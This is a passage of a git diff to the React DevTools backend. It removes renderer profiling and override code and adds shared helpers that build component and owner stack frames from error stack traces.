-          if (typeof overrideHookState === 'function') {
-            overrideHookState(fiber, ((hookID: any): number), path, value);
-          }
-          break;
-        case 'props':
-          switch (fiber.tag) {
-            case ClassComponent:
-              fiber.pendingProps = copyWithSet(instance.props, path, value);
-              instance.forceUpdate();
-              break;
-            default:
-              if (typeof overrideProps === 'function') {
-                overrideProps(fiber, path, value);
-              }
-              break;
-          }
-          break;
-        case 'state':
-          switch (fiber.tag) {
-            case ClassComponent:
-              setInObject(instance.state, path, value);
-              instance.forceUpdate();
-              break;
-          }
-          break;
-      }
-    }
-  }
-
-  type CommitProfilingData = {
-    changeDescriptions: Map<number, ChangeDescription> | null,
-    commitTime: number,
-    durations: Array<number>,
-    effectDuration: number | null,
-    maxActualDuration: number,
-    passiveEffectDuration: number | null,
-    priorityLevel: string | null,
-    updaters: Array<SerializedElement> | null,
-  };
-
-  type CommitProfilingMetadataMap = Map<number, Array<CommitProfilingData>>;
-  type DisplayNamesByRootID = Map<number, string>;
-
-  let currentCommitProfilingMetadata: CommitProfilingData | null = null;
-  let displayNamesByRootID: DisplayNamesByRootID | null = null;
-  let idToContextsMap: Map<number, any> | null = null;
-  let initialTreeBaseDurationsMap: Map<number, number> | null = null;
-  let initialIDToRootMap: Map<number, number> | null = null;
-  let isProfiling: boolean = false;
-  let profilingStartTime: number = 0;
-  let recordChangeDescriptions: boolean = false;
-  let rootToCommitProfilingMetadataMap: CommitProfilingMetadataMap | null =
-    null;
-
-  function getProfilingData(): ProfilingDataBackend {
-    const dataForRoots: Array<ProfilingDataForRootBackend> = [];
-
-    if (rootToCommitProfilingMetadataMap === null) {
-      throw Error(
-        'getProfilingData() called before any profiling data was recorded',
-      );
-    }
-
-    rootToCommitProfilingMetadataMap.forEach(
-      (commitProfilingMetadata, rootID) => {
-        const commitData: Array<CommitDataBackend> = [];
-        const initialTreeBaseDurations: Array<[number, number]> = [];
-
-        const displayName =
-          (displayNamesByRootID !== null && displayNamesByRootID.get(rootID)) ||
-          'Unknown';
-
-        if (initialTreeBaseDurationsMap != null) {
-          initialTreeBaseDurationsMap.forEach((treeBaseDuration, id) => {
-            if (
-              initialIDToRootMap != null &&
-              initialIDToRootMap.get(id) === rootID
-            ) {
-              // We don't need to convert milliseconds to microseconds in this case,
-              // because the profiling summary is JSON serialized.
-              initialTreeBaseDurations.push([id, treeBaseDuration]);
-            }
-          });
-        }
-
-        commitProfilingMetadata.forEach((commitProfilingData, commitIndex) => {
-          const {
-            changeDescriptions,
-            durations,
-            effectDuration,
-            maxActualDuration,
-            passiveEffectDuration,
-            priorityLevel,
-            commitTime,
-            updaters,
-          } = commitProfilingData;
-
-          const fiberActualDurations: Array<[number, number]> = [];
-          const fiberSelfDurations: Array<[number, number]> = [];
-          for (let i = 0; i < durations.length; i += 3) {
-            const fiberID = durations[i];
-            fiberActualDurations.push([fiberID, durations[i + 1]]);
-            fiberSelfDurations.push([fiberID, durations[i + 2]]);
-          }
-
-          commitData.push({
-            changeDescriptions:
-              changeDescriptions !== null
-                ? Array.from(changeDescriptions.entries())
-                : null,
-            duration: maxActualDuration,
-            effectDuration,
-            fiberActualDurations,
-            fiberSelfDurations,
-            passiveEffectDuration,
-            priorityLevel,
-            timestamp: commitTime,
-            updaters,
-          });
-        });
-
-        dataForRoots.push({
-          commitData,
-          displayName,
-          initialTreeBaseDurations,
-          rootID,
-        });
-      },
-    );
-
-    let timelineData = null;
-    if (typeof getTimelineData === 'function') {
-      const currentTimelineData = getTimelineData();
-      if (currentTimelineData) {
-        const {
-          batchUIDToMeasuresMap,
-          internalModuleSourceToRanges,
-          laneToLabelMap,
-          laneToReactMeasureMap,
-          ...rest
-        } = currentTimelineData;
-
-        timelineData = {
-          ...rest,
-
-          // Most of the data is safe to parse as-is,
-          // but we need to convert the nested Arrays back to Maps.
-          // Most of the data is safe to serialize as-is,
-          // but we need to convert the Maps to nested Arrays.
-          batchUIDToMeasuresKeyValueArray: Array.from(
-            batchUIDToMeasuresMap.entries(),
-          ),
-          internalModuleSourceToRanges: Array.from(
-            internalModuleSourceToRanges.entries(),
-          ),
-          laneToLabelKeyValueArray: Array.from(laneToLabelMap.entries()),
-          laneToReactMeasureKeyValueArray: Array.from(
-            laneToReactMeasureMap.entries(),
-          ),
-        };
-      }
-    }
-
-    return {
-      dataForRoots,
-      rendererID,
-      timelineData,
-    };
-  }
-
-  function startProfiling(shouldRecordChangeDescriptions: boolean) {
-    if (isProfiling) {
-      return;
-    }
-
-    recordChangeDescriptions = shouldRecordChangeDescriptions;
-
-    // Capture initial values as of the time profiling starts.
-    // It's important we snapshot both the durations and the id-to-root map,
-    // since either of these may change during the profiling session
-    // (e.g. when a fiber is re-rendered or when a fiber gets removed).
-    displayNamesByRootID = new Map();
-    initialTreeBaseDurationsMap = new Map(idToTreeBaseDurationMap);
-    initialIDToRootMap = new Map(idToRootMap);
-    idToContextsMap = new Map();
-
-    hook.getFiberRoots(rendererID).forEach(root => {
-      const rootID = getFiberIDThrows(root.current);
-      ((displayNamesByRootID: any): DisplayNamesByRootID).set(
-        rootID,
-        getDisplayNameForRoot(root.current),
-      );
-
-      if (shouldRecordChangeDescriptions) {
-        // Record all contexts at the time profiling is started.
-        // Fibers only store the current context value,
-        // so we need to track them separately in order to determine changed keys.
-        crawlToInitializeContextsMap(root.current);
-      }
-    });
-
-    isProfiling = true;
-    profilingStartTime = getCurrentTime();
-    rootToCommitProfilingMetadataMap = new Map();
-
-    if (toggleProfilingStatus !== null) {
-      toggleProfilingStatus(true);
-    }
-  }
-
-  function stopProfiling() {
-    isProfiling = false;
-    recordChangeDescriptions = false;
-
-    if (toggleProfilingStatus !== null) {
-      toggleProfilingStatus(false);
-    }
-  }
-
-  // Automatically start profiling so that we don't miss timing info from initial "mount".
-  if (
-    sessionStorageGetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY) === 'true'
-  ) {
-    startProfiling(
-      sessionStorageGetItem(SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY) ===
-        'true',
-    );
-  }
-
-  // React will switch between these implementations depending on whether
-  // we have any manually suspended/errored-out Fibers or not.
-  function shouldErrorFiberAlwaysNull() {
-    return null;
-  }
-
-  // Map of id and its force error status: true (error), false (toggled off),
-  // null (do nothing)
-  const forceErrorForFiberIDs = new Map<number | null, $FlowFixMe>();
-
-  function shouldErrorFiberAccordingToMap(fiber: any) {
-    if (typeof setErrorHandler !== 'function') {
-      throw new Error(
-        'Expected overrideError() to not get called for earlier React versions.',
-      );
-    }
-
-    const id = getFiberIDUnsafe(fiber);
-    if (id === null) {
-      return null;
-    }
-
-    let status = null;
-    if (forceErrorForFiberIDs.has(id)) {
-      status = forceErrorForFiberIDs.get(id);
-      if (status === false) {
-        // TRICKY overrideError adds entries to this Map,
-        // so ideally it would be the method that clears them too,
-        // but that would break the functionality of the feature,
-        // since DevTools needs to tell React to act differently than it normally would
-        // (don't just re-render the failed boundary, but reset its errored state too).
-        // So we can only clear it after telling React to reset the state.
-        // Technically this is premature and we should schedule it for later,
-        // since the render could always fail without committing the updated error boundary,
-        // but since this is a DEV-only feature, the simplicity is worth the trade off.
-        forceErrorForFiberIDs.delete(id);
-
-        if (forceErrorForFiberIDs.size === 0) {
-          // Last override is gone. Switch React back to fast path.
-          setErrorHandler(shouldErrorFiberAlwaysNull);
-        }
-      }
-    }
-    return status;
-  }
-
-  function overrideError(id: number, forceError: boolean) {
-    if (
-      typeof setErrorHandler !== 'function' ||
-      typeof scheduleUpdate !== 'function'
-    ) {
-      throw new Error(
-        'Expected overrideError() to not get called for earlier React versions.',
-      );
-    }
-
-    forceErrorForFiberIDs.set(id, forceError);
-
-    if (forceErrorForFiberIDs.size === 1) {
-      // First override is added. Switch React to slower path.
-      setErrorHandler(shouldErrorFiberAccordingToMap);
-    }
-
-    const fiber = idToArbitraryFiberMap.get(id);
-    if (fiber != null) {
-      scheduleUpdate(fiber);
-    }
-  }
-
-  function shouldSuspendFiberAlwaysFalse() {
-    return false;
-  }
-
-  const forceFallbackForSuspenseIDs = new Set<number>();
-
-  function shouldSuspendFiberAccordingToSet(fiber: any) {
-    const maybeID = getFiberIDUnsafe(((fiber: any): Fiber));
-    return maybeID !== null && forceFallbackForSuspenseIDs.has(maybeID);
-  }
-
-  function overrideSuspense(id: number, forceFallback: boolean) {
-    if (
-      typeof setSuspenseHandler !== 'function' ||
-      typeof scheduleUpdate !== 'function'
-    ) {
-      throw new Error(
-        'Expected overrideSuspense() to not get called for earlier React versions.',
-      );
-    }
-    if (forceFallback) {
-      forceFallbackForSuspenseIDs.add(id);
-      if (forceFallbackForSuspenseIDs.size === 1) {
-        // First override is added. Switch React to slower path.
-        setSuspenseHandler(shouldSuspendFiberAccordingToSet);
-      }
-    } else {
-      forceFallbackForSuspenseIDs.delete(id);
-      if (forceFallbackForSuspenseIDs.size === 0) {
-        // Last override is gone. Switch React back to fast path.
-        setSuspenseHandler(shouldSuspendFiberAlwaysFalse);
-      }
-    }
-    const fiber = idToArbitraryFiberMap.get(id);
-    if (fiber != null) {
-      scheduleUpdate(fiber);
-    }
-  }
-
-  // Remember if we're trying to restore the selection after reload.
-  // In that case, we'll do some extra checks for matching mounts.
-  let trackedPath: Array<PathFrame> | null = null;
-  let trackedPathMatchFiber: Fiber | null = null;
-  let trackedPathMatchDepth = -1;
-  let mightBeOnTrackedPath = false;
-
-  function setTrackedPath(path: Array<PathFrame> | null) {
-    if (path === null) {
-      trackedPathMatchFiber = null;
-      trackedPathMatchDepth = -1;
-      mightBeOnTrackedPath = false;
-    }
-    trackedPath = path;
-  }
-
-  // We call this before traversing a new mount.
-  // It remembers whether this Fiber is the next best match for tracked path.
-  // The return value signals whether we should keep matching siblings or not.
-  function updateTrackedPathStateBeforeMount(fiber: Fiber): boolean {
-    if (trackedPath === null || !mightBeOnTrackedPath) {
-      // Fast path: there's nothing to track so do nothing and ignore siblings.
-      return false;
-    }
-    const returnFiber = fiber.return;
-    const returnAlternate = returnFiber !== null ? returnFiber.alternate : null;
-    // By now we know there's some selection to restore, and this is a new Fiber.
-    // Is this newly mounted Fiber a direct child of the current best match?
-    // (This will also be true for new roots if we haven't matched anything yet.)
-    if (
-      trackedPathMatchFiber === returnFiber ||
-      (trackedPathMatchFiber === returnAlternate && returnAlternate !== null)
-    ) {
-      // Is this the next Fiber we should select? Let's compare the frames.
-      const actualFrame = getPathFrame(fiber);
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      const expectedFrame = trackedPath[trackedPathMatchDepth + 1];
-      if (expectedFrame === undefined) {
-        throw new Error('Expected to see a frame at the next depth.');
-      }
-      if (
-        actualFrame.index === expectedFrame.index &&
-        actualFrame.key === expectedFrame.key &&
-        actualFrame.displayName === expectedFrame.displayName
-      ) {
-        // We have our next match.
-        trackedPathMatchFiber = fiber;
-        trackedPathMatchDepth++;
-        // Are we out of frames to match?
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        if (trackedPathMatchDepth === trackedPath.length - 1) {
-          // There's nothing that can possibly match afterwards.
-          // Don't check the children.
-          mightBeOnTrackedPath = false;
-        } else {
-          // Check the children, as they might reveal the next match.
-          mightBeOnTrackedPath = true;
-        }
-        // In either case, since we have a match, we don't need
-        // to check the siblings. They'll never match.
-        return false;
-      }
-    }
-    // This Fiber's parent is on the path, but this Fiber itself isn't.
-    // There's no need to check its children--they won't be on the path either.
-    mightBeOnTrackedPath = false;
-    // However, one of its siblings may be on the path so keep searching.
-    return true;
-  }
-
-  function updateTrackedPathStateAfterMount(
-    mightSiblingsBeOnTrackedPath: boolean,
-  ) {
-    // updateTrackedPathStateBeforeMount() told us whether to match siblings.
-    // Now that we're entering siblings, let's use that information.
-    mightBeOnTrackedPath = mightSiblingsBeOnTrackedPath;
-  }
-
-  // Roots don't have a real persistent identity.
-  // A root's "pseudo key" is "childDisplayName:indexWithThatName".
-  // For example, "App:0" or, in case of similar roots, "Story:0", "Story:1", etc.
-  // We will use this to try to disambiguate roots when restoring selection between reloads.
-  const rootPseudoKeys: Map<number, string> = new Map();
-  const rootDisplayNameCounter: Map<string, number> = new Map();
-
-  function setRootPseudoKey(id: number, fiber: Fiber) {
-    const name = getDisplayNameForRoot(fiber);
-    const counter = rootDisplayNameCounter.get(name) || 0;
-    rootDisplayNameCounter.set(name, counter + 1);
-    const pseudoKey = `${name}:${counter}`;
-    rootPseudoKeys.set(id, pseudoKey);
-  }
-
-  function removeRootPseudoKey(id: number) {
-    const pseudoKey = rootPseudoKeys.get(id);
-    if (pseudoKey === undefined) {
-      throw new Error('Expected root pseudo key to be known.');
-    }
-    const name = pseudoKey.slice(0, pseudoKey.lastIndexOf(':'));
-    const counter = rootDisplayNameCounter.get(name);
-    if (counter === undefined) {
-      throw new Error('Expected counter to be known.');
-    }
-    if (counter > 1) {
-      rootDisplayNameCounter.set(name, counter - 1);
-    } else {
-      rootDisplayNameCounter.delete(name);
-    }
-    rootPseudoKeys.delete(id);
-  }
-
-  function getDisplayNameForRoot(fiber: Fiber): string {
-    let preferredDisplayName = null;
-    let fallbackDisplayName = null;
-    let child = fiber.child;
-    // Go at most three levels deep into direct children
-    // while searching for a child that has a displayName.
-    for (let i = 0; i < 3; i++) {
-      if (child === null) {
-        break;
-      }
-      const displayName = getDisplayNameForFiber(child);
-      if (displayName !== null) {
-        // Prefer display names that we get from user-defined components.
-        // We want to avoid using e.g. 'Suspense' unless we find nothing else.
-        if (typeof child.type === 'function') {
-          // There's a few user-defined tags, but we'll prefer the ones
-          // that are usually explicitly named (function or class components).
-          preferredDisplayName = displayName;
-        } else if (fallbackDisplayName === null) {
-          fallbackDisplayName = displayName;
-        }
-      }
-      if (preferredDisplayName !== null) {
-        break;
-      }
-      child = child.child;
-    }
-    return preferredDisplayName || fallbackDisplayName || 'Anonymous';
-  }
-
-  function getPathFrame(fiber: Fiber): PathFrame {
-    const {key} = fiber;
-    let displayName = getDisplayNameForFiber(fiber);
-    const index = fiber.index;
-    switch (fiber.tag) {
-      case HostRoot:
-        // Roots don't have a real displayName, index, or key.
-        // Instead, we'll use the pseudo key (childDisplayName:indexWithThatName).
-        const id = getFiberIDThrows(fiber);
-        const pseudoKey = rootPseudoKeys.get(id);
-        if (pseudoKey === undefined) {
-          throw new Error('Expected mounted root to have known pseudo key.');
-        }
-        displayName = pseudoKey;
-        break;
-      case HostComponent:
-        displayName = fiber.type;
-        break;
-      default:
-        break;
-    }
-    return {
-      displayName,
-      key,
-      index,
-    };
-  }
-
-  // Produces a serializable representation that does a best effort
-  // of identifying a particular Fiber between page reloads.
-  // The return path will contain Fibers that are "invisible" to the store
-  // because their keys and indexes are important to restoring the selection.
-  function getPathForElement(id: number): Array<PathFrame> | null {
-    let fiber: ?Fiber = idToArbitraryFiberMap.get(id);
-    if (fiber == null) {
-      return null;
-    }
-    const keyPath = [];
-    while (fiber !== null) {
-      // $FlowFixMe[incompatible-call] found when upgrading Flow
-      keyPath.push(getPathFrame(fiber));
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      fiber = fiber.return;
-    }
-    keyPath.reverse();
-    return keyPath;
-  }
-
-  function getBestMatchForTrackedPath(): PathMatch | null {
-    if (trackedPath === null) {
-      // Nothing to match.
-      return null;
-    }
-    if (trackedPathMatchFiber === null) {
-      // We didn't find anything.
-      return null;
-    }
-    // Find the closest Fiber store is aware of.
-    let fiber: null | Fiber = trackedPathMatchFiber;
-    while (fiber !== null && shouldFilterFiber(fiber)) {
-      fiber = fiber.return;
-    }
-    if (fiber === null) {
-      return null;
-    }
-    return {
-      id: getFiberIDThrows(fiber),
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      isFullMatch: trackedPathMatchDepth === trackedPath.length - 1,
-    };
-  }
-
-  const formatPriorityLevel = (priorityLevel: ?number) => {
-    if (priorityLevel == null) {
-      return 'Unknown';
-    }
-
-    switch (priorityLevel) {
-      case ImmediatePriority:
-        return 'Immediate';
-      case UserBlockingPriority:
-        return 'User-Blocking';
-      case NormalPriority:
-        return 'Normal';
-      case LowPriority:
-        return 'Low';
-      case IdlePriority:
-        return 'Idle';
-      case NoPriority:
-      default:
-        return 'Unknown';
-    }
-  };
-
-  function setTraceUpdatesEnabled(isEnabled: boolean): void {
-    traceUpdatesEnabled = isEnabled;
-  }
-
-  function hasFiberWithId(id: number): boolean {
-    return idToArbitraryFiberMap.has(id);
-  }
-
-  function getComponentStackForFiber(fiber: Fiber): string | null {
-    let componentStack = fiberToComponentStackMap.get(fiber);
-    if (componentStack == null) {
-      const dispatcherRef = getDispatcherRef(renderer);
-      if (dispatcherRef == null) {
-        return null;
-      }
-
-      componentStack = getStackByFiberInDevAndProd(
-        ReactTypeOfWork,
-        fiber,
-        dispatcherRef,
-      );
-      fiberToComponentStackMap.set(fiber, componentStack);
-    }
-
-    return componentStack;
-  }
-
-  function getSourceForFiber(fiber: Fiber): Source | null {
-    const componentStack = getComponentStackForFiber(fiber);
-    if (componentStack == null) {
-      return null;
-    }
-
-    return parseSourceFromComponentStack(componentStack);
-  }
-
-  return {
-    cleanup,
-    clearErrorsAndWarnings,
-    clearErrorsForFiberID,
-    clearWarningsForFiberID,
-    getSerializedElementValueByPath,
-    deletePath,
-    findNativeNodesForFiberID,
-    flushInitialOperations,
-    getBestMatchForTrackedPath,
-    getComponentStackForFiber,
-    getSourceForFiber,
-    getDisplayNameForFiberID,
-    getFiberForNative,
-    getFiberIDForNative,
-    getInstanceAndStyle,
-    getOwnersList,
-    getPathForElement,
-    getProfilingData,
-    handleCommitFiberRoot,
-    handleCommitFiberUnmount,
-    handlePostCommitFiberRoot,
-    hasFiberWithId,
-    inspectElement,
-    logElementToConsole,
-    patchConsoleForStrictMode,
-    prepareViewAttributeSource,
-    prepareViewElementSource,
-    overrideError,
-    overrideSuspense,
-    overrideValueAtPath,
-    renamePath,
-    renderer,
-    setTraceUpdatesEnabled,
-    setTrackedPath,
-    startProfiling,
-    stopProfiling,
-    storeAsGlobal,
-    unpatchConsoleForStrictMode,
-    updateComponentFilters,
-  };
-}
diff --git a/packages/react-devtools-shared/src/backend/shared/DevToolsComponentStackFrame.js b/packages/react-devtools-shared/src/backend/shared/DevToolsComponentStackFrame.js
new file mode 100644
index 000000000000..b29ed9af7306
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/shared/DevToolsComponentStackFrame.js
@@ -0,0 +1,291 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a DevTools fork of ReactComponentStackFrame.
+// This fork enables DevTools to use the same "native" component stack format,
+// while still maintaining support for multiple renderer versions
+// (which use different values for ReactTypeOfWork).
+
+import type {CurrentDispatcherRef} from '../types';
+
+// The shared console patching code is DEV-only.
+// We can't use it since DevTools only ships production builds.
+import {disableLogs, reenableLogs} from './DevToolsConsolePatching';
+
+let prefix;
+export function describeBuiltInComponentFrame(name: string): string {
+  if (prefix === undefined) {
+    // Extract the VM specific prefix used by each line.
+    try {
+      throw Error();
+    } catch (x) {
+      const match = x.stack.trim().match(/\n( *(at )?)/);
+      prefix = (match && match[1]) || '';
+    }
+  }
+  let suffix = '';
+  if (__IS_CHROME__ || __IS_EDGE__ || __IS_NATIVE__) {
+    suffix = ' (<anonymous>)';
+  } else if (__IS_FIREFOX__) {
+    suffix = '@unknown:0:0';
+  }
+  // We use the prefix to ensure our stacks line up with native stack frames.
+  // We use a suffix to ensure it gets parsed natively.
+  return '\n' + prefix + name + suffix;
+}
+
+export function describeDebugInfoFrame(name: string, env: ?string): string {
+  return describeBuiltInComponentFrame(name + (env ? ' [' + env + ']' : ''));
+}
+
+let reentry = false;
+let componentFrameCache;
+if (__DEV__) {
+  const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
+  componentFrameCache = new PossiblyWeakMap<$FlowFixMe, string>();
+}
+
+export function describeNativeComponentFrame(
+  fn: Function,
+  construct: boolean,
+  currentDispatcherRef: CurrentDispatcherRef,
+): string {
+  // If something asked for a stack inside a fake render, it should get ignored.
+  if (!fn || reentry) {
+    return '';
+  }
+
+  if (__DEV__) {
+    const frame = componentFrameCache.get(fn);
+    if (frame !== undefined) {
+      return frame;
+    }
+  }
+
+  const previousPrepareStackTrace = Error.prepareStackTrace;
+  // $FlowFixMe[incompatible-type] It does accept undefined.
+  Error.prepareStackTrace = undefined;
+
+  reentry = true;
+
+  // Override the dispatcher so effects scheduled by this shallow render are thrown away.
+  //
+  // Note that unlike the code this was forked from (in ReactComponentStackFrame)
+  // DevTools should override the dispatcher even when DevTools is compiled in production mode,
+  // because the app itself may be in development mode and log errors/warnings.
+  const previousDispatcher = currentDispatcherRef.H;
+  currentDispatcherRef.H = null;
+  disableLogs();
+  try {
+    // NOTE: keep in sync with the implementation in ReactComponentStackFrame
+
+    /**
+     * Finding a common stack frame between sample and control errors can be
+     * tricky given the different types and levels of stack trace truncation from
+     * different JS VMs. So instead we'll attempt to control what that common
+     * frame should be through this object method:
+     * Having both the sample and control errors be in the function under the
+     * `DescribeNativeComponentFrameRoot` property, + setting the `name` and
+     * `displayName` properties of the function ensures that a stack
+     * frame exists that has the method name `DescribeNativeComponentFrameRoot` in
+     * it for both control and sample stacks.
+     */
+    const RunInRootFrame = {
+      DetermineComponentFrameRoot(): [?string, ?string] {
+        let control;
+        try {
+          // This should throw.
+          if (construct) {
+            // Something should be setting the props in the constructor.
+            const Fake = function () {
+              throw Error();
+            };
+            // $FlowFixMe[prop-missing]
+            Object.defineProperty(Fake.prototype, 'props', {
+              set: function () {
+                // We use a throwing setter instead of frozen or non-writable props
+                // because that won't throw in a non-strict mode function.
+                throw Error();
+              },
+            });
+            if (typeof Reflect === 'object' && Reflect.construct) {
+              // We construct a different control for this case to include any extra
+              // frames added by the construct call.
+              try {
+                Reflect.construct(Fake, []);
+              } catch (x) {
+                control = x;
+              }
+              Reflect.construct(fn, [], Fake);
+            } else {
+              try {
+                Fake.call();
+              } catch (x) {
+                control = x;
+              }
+              // $FlowFixMe[prop-missing] found when upgrading Flow
+              fn.call(Fake.prototype);
+            }
+          } else {
+            try {
+              throw Error();
+            } catch (x) {
+              control = x;
+            }
+            // TODO(luna): This will currently only throw if the function component
+            // tries to access React/ReactDOM/props. We should probably make this throw
+            // in simple components too
+            const maybePromise = fn();
+
+            // If the function component returns a promise, it's likely an async
+            // component, which we don't yet support. Attach a noop catch handler to
+            // silence the error.
+            // TODO: Implement component stacks for async client components?
+            if (maybePromise && typeof maybePromise.catch === 'function') {
+              maybePromise.catch(() => {});
+            }
+          }
+        } catch (sample) {
+          // This is inlined manually because closure doesn't do it for us.
+          if (sample && control && typeof sample.stack === 'string') {
+            return [sample.stack, control.stack];
+          }
+        }
+        return [null, null];
+      },
+    };
+    // $FlowFixMe[prop-missing]
+    RunInRootFrame.DetermineComponentFrameRoot.displayName =
+      'DetermineComponentFrameRoot';
+    const namePropDescriptor = Object.getOwnPropertyDescriptor(
+      RunInRootFrame.DetermineComponentFrameRoot,
+      'name',
+    );
+    // Before ES6, the `name` property was not configurable.
+    if (namePropDescriptor && namePropDescriptor.configurable) {
+      // V8 utilizes a function's `name` property when generating a stack trace.
+      Object.defineProperty(
+        RunInRootFrame.DetermineComponentFrameRoot,
+        // Configurable properties can be updated even if its writable descriptor
+        // is set to `false`.
+        // $FlowFixMe[cannot-write]
+        'name',
+        {value: 'DetermineComponentFrameRoot'},
+      );
+    }
+
+    const [sampleStack, controlStack] =
+      RunInRootFrame.DetermineComponentFrameRoot();
+    if (sampleStack && controlStack) {
+      // This extracts the first frame from the sample that isn't also in the control.
+      // Skipping one frame that we assume is the frame that calls the two.
+      const sampleLines = sampleStack.split('\n');
+      const controlLines = controlStack.split('\n');
+      let s = 0;
+      let c = 0;
+      while (
+        s < sampleLines.length &&
+        !sampleLines[s].includes('DetermineComponentFrameRoot')
+      ) {
+        s++;
+      }
+      while (
+        c < controlLines.length &&
+        !controlLines[c].includes('DetermineComponentFrameRoot')
+      ) {
+        c++;
+      }
+      // We couldn't find our intentionally injected common root frame, attempt
+      // to find another common root frame by search from the bottom of the
+      // control stack...
+      if (s === sampleLines.length || c === controlLines.length) {
+        s = sampleLines.length - 1;
+        c = controlLines.length - 1;
+        while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
+          // We expect at least one stack frame to be shared.
+          // Typically this will be the root most one. However, stack frames may be
+          // cut off due to maximum stack limits. In this case, one maybe cut off
+          // earlier than the other. We assume that the sample is longer or the same
+          // and there for cut off earlier. So we should find the root most frame in
+          // the sample somewhere in the control.
+          c--;
+        }
+      }
+      for (; s >= 1 && c >= 0; s--, c--) {
+        // Next we find the first one that isn't the same which should be the
+        // frame that called our sample function and the control.
+        if (sampleLines[s] !== controlLines[c]) {
+          // In V8, the first line is describing the message but other VMs don't.
+          // If we're about to return the first line, and the control is also on the same
+          // line, that's a pretty good indicator that our sample threw at same line as
+          // the control. I.e. before we entered the sample frame. So we ignore this result.
+          // This can happen if you passed a class to function component, or non-function.
+          if (s !== 1 || c !== 1) {
+            do {
+              s--;
+              c--;
+              // We may still have similar intermediate frames from the construct call.
+              // The next one that isn't the same should be our match though.
+              if (c < 0 || sampleLines[s] !== controlLines[c]) {
+                // V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
+                let frame = '\n' + sampleLines[s].replace(' at new ', ' at ');
+
+                // If our component frame is labeled "<anonymous>"
+                // but we have a user-provided "displayName"
+                // splice it in to make the stack more readable.
+                if (fn.displayName && frame.includes('<anonymous>')) {
+                  frame = frame.replace('<anonymous>', fn.displayName);
+                }
+
+                if (__DEV__) {
+                  if (typeof fn === 'function') {
+                    componentFrameCache.set(fn, frame);
+                  }
+                }
+                // Return the line we found.
+                return frame;
+              }
+            } while (s >= 1 && c >= 0);
+          }
+          break;
+        }
+      }
+    }
+  } finally {
+    reentry = false;
+
+    Error.prepareStackTrace = previousPrepareStackTrace;
+
+    currentDispatcherRef.H = previousDispatcher;
+    reenableLogs();
+  }
+  // Fallback to just using the name if we couldn't make it throw.
+  const name = fn ? fn.displayName || fn.name : '';
+  const syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';
+  if (__DEV__) {
+    if (typeof fn === 'function') {
+      componentFrameCache.set(fn, syntheticFrame);
+    }
+  }
+  return syntheticFrame;
+}
+
+export function describeClassComponentFrame(
+  ctor: Function,
+  currentDispatcherRef: CurrentDispatcherRef,
+): string {
+  return describeNativeComponentFrame(ctor, true, currentDispatcherRef);
+}
+
+export function describeFunctionComponentFrame(
+  fn: Function,
+  currentDispatcherRef: CurrentDispatcherRef,
+): string {
+  return describeNativeComponentFrame(fn, false, currentDispatcherRef);
+}
diff --git a/packages/react-devtools-shared/src/backend/DevToolsConsolePatching.js b/packages/react-devtools-shared/src/backend/shared/DevToolsConsolePatching.js
similarity index 95%
rename from packages/react-devtools-shared/src/backend/DevToolsConsolePatching.js
rename to packages/react-devtools-shared/src/backend/shared/DevToolsConsolePatching.js
index bc133590f89b..71ede689250e 100644
--- a/packages/react-devtools-shared/src/backend/DevToolsConsolePatching.js
+++ b/packages/react-devtools-shared/src/backend/shared/DevToolsConsolePatching.js
@@ -30,7 +30,6 @@ disabledLog.__reactDisabledLog = true;
 
 export function disableLogs(): void {
   if (disabledDepth === 0) {
-    /* eslint-disable react-internal/no-production-logging */
     prevLog = console.log;
     prevInfo = console.info;
     prevWarn = console.warn;
@@ -63,7 +62,6 @@ export function disableLogs(): void {
 export function reenableLogs(): void {
   disabledDepth--;
   if (disabledDepth === 0) {
-    /* eslint-disable react-internal/no-production-logging */
     const props = {
       configurable: true,
       enumerable: true,
diff --git a/packages/react-devtools-shared/src/backend/shared/DevToolsOwnerStack.js b/packages/react-devtools-shared/src/backend/shared/DevToolsOwnerStack.js
new file mode 100644
index 000000000000..36102dcf963b
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/shared/DevToolsOwnerStack.js
@@ -0,0 +1,46 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a DevTools fork of shared/ReactOwnerStackFrames.
+
+export function formatOwnerStack(error: Error): string {
+  const prevPrepareStackTrace = Error.prepareStackTrace;
+  // $FlowFixMe[incompatible-type] It does accept undefined.
+  Error.prepareStackTrace = undefined;
+  let stack = error.stack;
+  Error.prepareStackTrace = prevPrepareStackTrace;
+
+  if (stack.startsWith('Error: react-stack-top-frame\n')) {
+    // V8's default formatting prefixes with the error message which we
+    // don't want/need.
+    stack = stack.slice(29);
+  }
+  let idx = stack.indexOf('\n');
+  if (idx !== -1) {
+    // Pop the JSX frame.
+    stack = stack.slice(idx + 1);
+  }
+  idx = stack.indexOf('react_stack_bottom_frame');
+  if (idx === -1) {
+    idx = stack.indexOf('react-stack-bottom-frame');
+  }
+  if (idx !== -1) {
+    idx = stack.lastIndexOf('\n', idx);
+  }
+  if (idx !== -1) {
+    // Cut off everything after the bottom frame since it'll be internals.
+    stack = stack.slice(0, idx);
+  } else {
+    // We didn't find any internal callsite out to user space.
+    // This means that this was called outside an owner or the owner is fully internal.
+    // To keep things light we exclude the entire trace in this case.
+    return '';
+  }
+  return stack;
+}
diff --git a/packages/react-devtools-shared/src/backend/shared/DevToolsServerComponentLogs.js b/packages/react-devtools-shared/src/backend/shared/DevToolsServerComponentLogs.js
new file mode 100644
index 000000000000..0eee05b53649
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/shared/DevToolsServerComponentLogs.js
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
